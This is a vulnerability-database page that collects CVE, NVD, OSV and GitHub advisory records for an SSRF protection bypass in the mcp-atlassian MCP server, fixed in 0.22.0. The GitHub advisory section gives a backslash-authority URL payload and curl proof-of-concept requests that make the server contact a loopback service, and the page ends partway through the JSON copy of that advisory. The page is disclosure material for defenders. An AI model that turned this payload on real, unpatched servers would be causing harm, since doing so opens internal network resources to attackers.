CVE-2026-77274 (GCVE-0-2026-77274)
Vulnerability from cvelistv5 – Published: 2026-09-22 17:36 – Updated: 2026-09-22 18:32
VLAI
EPSS
VEX
Title
MCP Atlassian: SSRF Protection Bypass
Summary
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-22 18:31 UTC
CWE
- CWE-918 - Server-Side Request Forgery (SSRF)
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/sooperset/mcp-atlassian/securi… | x_refsource_CONFIRM |
| https://github.com/sooperset/mcp-atlassian/pull/1448 | x_refsource_MISC |
| https://github.com/sooperset/mcp-atlassian/commit… | x_refsource_MISC |
| https://github.com/sooperset/mcp-atlassian/releas… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| sooperset | mcp-atlassian |
Affected:
< 0.22.0
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-77274",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-22T18:31:53.866509Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-22T18:32:22.319Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "mcp-atlassian",
"vendor": "sooperset",
"versions": [
{
"status": "affected",
"version": "\u003c 0.22.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918: Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-22T17:36:49.833Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
},
{
"name": "https://github.com/sooperset/mcp-atlassian/pull/1448",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"name": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"name": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"source": {
"advisory": "GHSA-hgcf-4mq8-5266",
"discovery": "UNKNOWN"
},
"title": "MCP Atlassian: SSRF Protection Bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-77274",
"datePublished": "2026-09-22T17:36:49.833Z",
"dateReserved": "2026-08-20T19:14:21.330Z",
"dateUpdated": "2026-09-22T18:32:22.319Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-77274",
"date": "2026-10-14",
"epss": "0.00324",
"percentile": "0.23731"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "mcp-atlassian",
"vendor": "sooperset",
"versions": [
{
"status": "affected",
"version": "\u003c 0.22.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:mcp-atlassian:mcp_atlassian:*:*:*:*:*:*:*:*",
"matchCriteriaId": "5B21EB9C-719D-42B9-8F6D-BE4EDC5D39AD",
"versionEndExcluding": "0.22.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0."
}
],
"id": "CVE-2026-77274",
"lastModified": "2026-09-28T13:41:36.657",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 4.2,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-77274",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-22T18:31:53.866509Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-09-22T18:17:19.253",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"source": "security-advisories@github.com",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-918"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-77274",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-22T18:31:53.866509Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-22T18:32:16.404Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "mcp-atlassian",
"vendor": "sooperset",
"versions": [
{
"status": "affected",
"version": "\u003c 0.22.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918: Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-22T17:36:49.833Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
},
{
"name": "https://github.com/sooperset/mcp-atlassian/pull/1448",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"name": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"name": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"source": {
"advisory": "GHSA-hgcf-4mq8-5266",
"discovery": "UNKNOWN"
},
"title": "MCP Atlassian: SSRF Protection Bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-77274",
"datePublished": "2026-09-22T17:36:49.833Z",
"dateReserved": "2026-08-20T19:14:21.330Z",
"dateUpdated": "2026-09-22T18:32:22.319Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
BREW-MCP-ATLASSIAN-CVE-2… (CVE-2026-77274)
Vulnerability from osv_homebrew – Published: 2026-10-05 19:49 – Updated: 2026-10-05 19:49 – Source website
VLAI
Summary
MCP Atlassian: SSRF Protection Bypass
Details
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.
Severity
References
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "0.22.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "mcp-atlassian",
"purl": "pkg:brew/mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0.11.9"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "git",
"upstream_evidence": [
{
"ecosystem": "GIT",
"key": "https://github.com/sooperset/mcp-atlassian",
"name": "https://github.com/sooperset/mcp-atlassian",
"strategy": "git",
"subject_version": "0.23.1"
},
{
"ecosystem": "PyPI",
"key": "pkg:pypi/mcp-atlassian@0.23.1",
"name": "mcp-atlassian",
"strategy": "registry",
"subject_version": "0.23.1"
}
]
},
"details": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.",
"id": "BREW-mcp-atlassian-CVE-2026-77274",
"modified": "2026-10-05T19:49:40Z",
"published": "2026-10-05T19:49:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
},
{
"type": "ADVISORY",
"url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77274.json"
},
{
"type": "ADVISORY",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77274"
},
{
"type": "FIX",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "FIX",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCP Atlassian: SSRF Protection Bypass",
"upstream": [
"CVE-2026-77274",
"GHSA-hgcf-4mq8-5266",
"PYSEC-2026-4096"
]
}
FKIE_CVE-2026-77274
Vulnerability from fkie_nvd - Published: 2026-09-22 18:17 - Updated: 2026-09-28 13:41
Severity
Summary
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.
References
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460 | Patch | |
| security-advisories@github.com | https://github.com/sooperset/mcp-atlassian/pull/1448 | Issue Tracking, Patch | |
| security-advisories@github.com | https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0 | Release Notes | |
| security-advisories@github.com | https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266 | Exploit, Vendor Advisory | |
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266 | Exploit, Vendor Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| mcp-atlassian | mcp_atlassian | * |
{
"affected": [
{
"affectedData": [
{
"product": "mcp-atlassian",
"vendor": "sooperset",
"versions": [
{
"status": "affected",
"version": "\u003c 0.22.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:mcp-atlassian:mcp_atlassian:*:*:*:*:*:*:*:*",
"matchCriteriaId": "5B21EB9C-719D-42B9-8F6D-BE4EDC5D39AD",
"versionEndExcluding": "0.22.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0."
}
],
"id": "CVE-2026-77274",
"lastModified": "2026-09-28T13:41:36.657",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 4.2,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-77274",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-22T18:31:53.866509Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-09-22T18:17:19.253",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"source": "security-advisories@github.com",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-918"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-HGCF-4MQ8-5266
Vulnerability from github – Published: 2026-09-22 20:36 – Updated: 2026-09-22 20:36
VLAI
Summary
MCP Atlassian: SSRF Protection Bypass
Details
Environment
- Project:
sooperset/mcp-atlassian - Affected function:
validate_url_for_ssrf() - Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint:
POST /mcp - Tested version:
2.14.5
Description
The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.
Affected code:
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
Payload:
http://127.0.0.1:6666\@www.baidu.com
For this input, urllib.parse.urlparse() treats the hostname as:
www.baidu.com
Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
This allows an attacker-controlled Jira URL to target loopback or internal services.
Proof of Concept
Start a local HTTP server:
python3 -m http.server 6666 --bind 127.0.0.1
Start mcp-atlassian with streamable HTTP transport on port 9000.
Initialize an MCP session with the malicious Jira URL:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'
Send the initialized notification using the returned Mcp-Session-Id:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","method":"notifications/initialized"}'
Trigger Jira fetcher creation and token validation:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'
Observed response:
The local HTTP server also receives the request, confirming SSRF.
Root Cause
The security validation and the actual HTTP request do not use the same URL interpretation.
validate_url_for_ssrf()usesurllib.parse.urlparse()and validatesparsed.hostname.- For the payload,
parsed.hostnameiswww.baidu.com. - The actual request is sent by the Atlassian client through
requests.Session. requeststreats the target as127.0.0.1:6666and percent-encodes the backslash into the request path.
This parser mismatch allows a restricted host to be hidden before \@.
Impact
An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77274"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:36:22Z",
"nvd_published_at": "2026-09-22T18:17:19Z",
"severity": "HIGH"
},
"details": "## Environment\n\n- Project: `sooperset/mcp-atlassian`\n- Affected function: `validate_url_for_ssrf()`\n- Affected path: header-based Jira/Confluence URL authentication flow\n- Tested endpoint: `POST /mcp`\n- Tested version: `2.14.5`\n\n## Description\n\nThe SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.\n\nAffected code:\n\n```python\nparsed = urlparse(url)\nhostname = parsed.hostname\n...\nip_error = _check_ip_address(hostname)\n...\ndns_error = _check_dns_resolution(hostname)\n```\n\nPayload:\n\n```text\nhttp://127.0.0.1:6666\\@www.baidu.com\n```\n\nFor this input, `urllib.parse.urlparse()` treats the hostname as:\n\n```text\nwww.baidu.com\n```\n\nTherefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:\n\n```text\nhttp://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself\n```\n\nThis allows an attacker-controlled Jira URL to target loopback or internal services.\n\n## Proof of Concept\n\nStart a local HTTP server:\n\n```bash\npython3 -m http.server 6666 --bind 127.0.0.1\n```\n\nStart `mcp-atlassian` with streamable HTTP transport on port `9000`.\n\nInitialize an MCP session with the malicious Jira URL:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n --data \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"ssrf-test\",\"version\":\"0.1\"}}}\u0027\n```\n\nSend the initialized notification using the returned `Mcp-Session-Id`:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -H \u0027mcp-session-id: \u003cSESSION_ID\u003e\u0027 \\\n -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n --data \u0027{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\"}\u0027\n```\n\nTrigger Jira fetcher creation and token validation:\n\n```bash\ncurl -i http://127.0.0.1:9000/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -H \u0027mcp-session-id: \u003cSESSION_ID\u003e\u0027 \\\n -H \u0027X-Atlassian-Jira-Url: http://127.0.0.1:6666\\@www.baidu.com\u0027 \\\n -H \u0027X-Atlassian-Jira-Personal-Token: dummy-token\u0027 \\\n --data 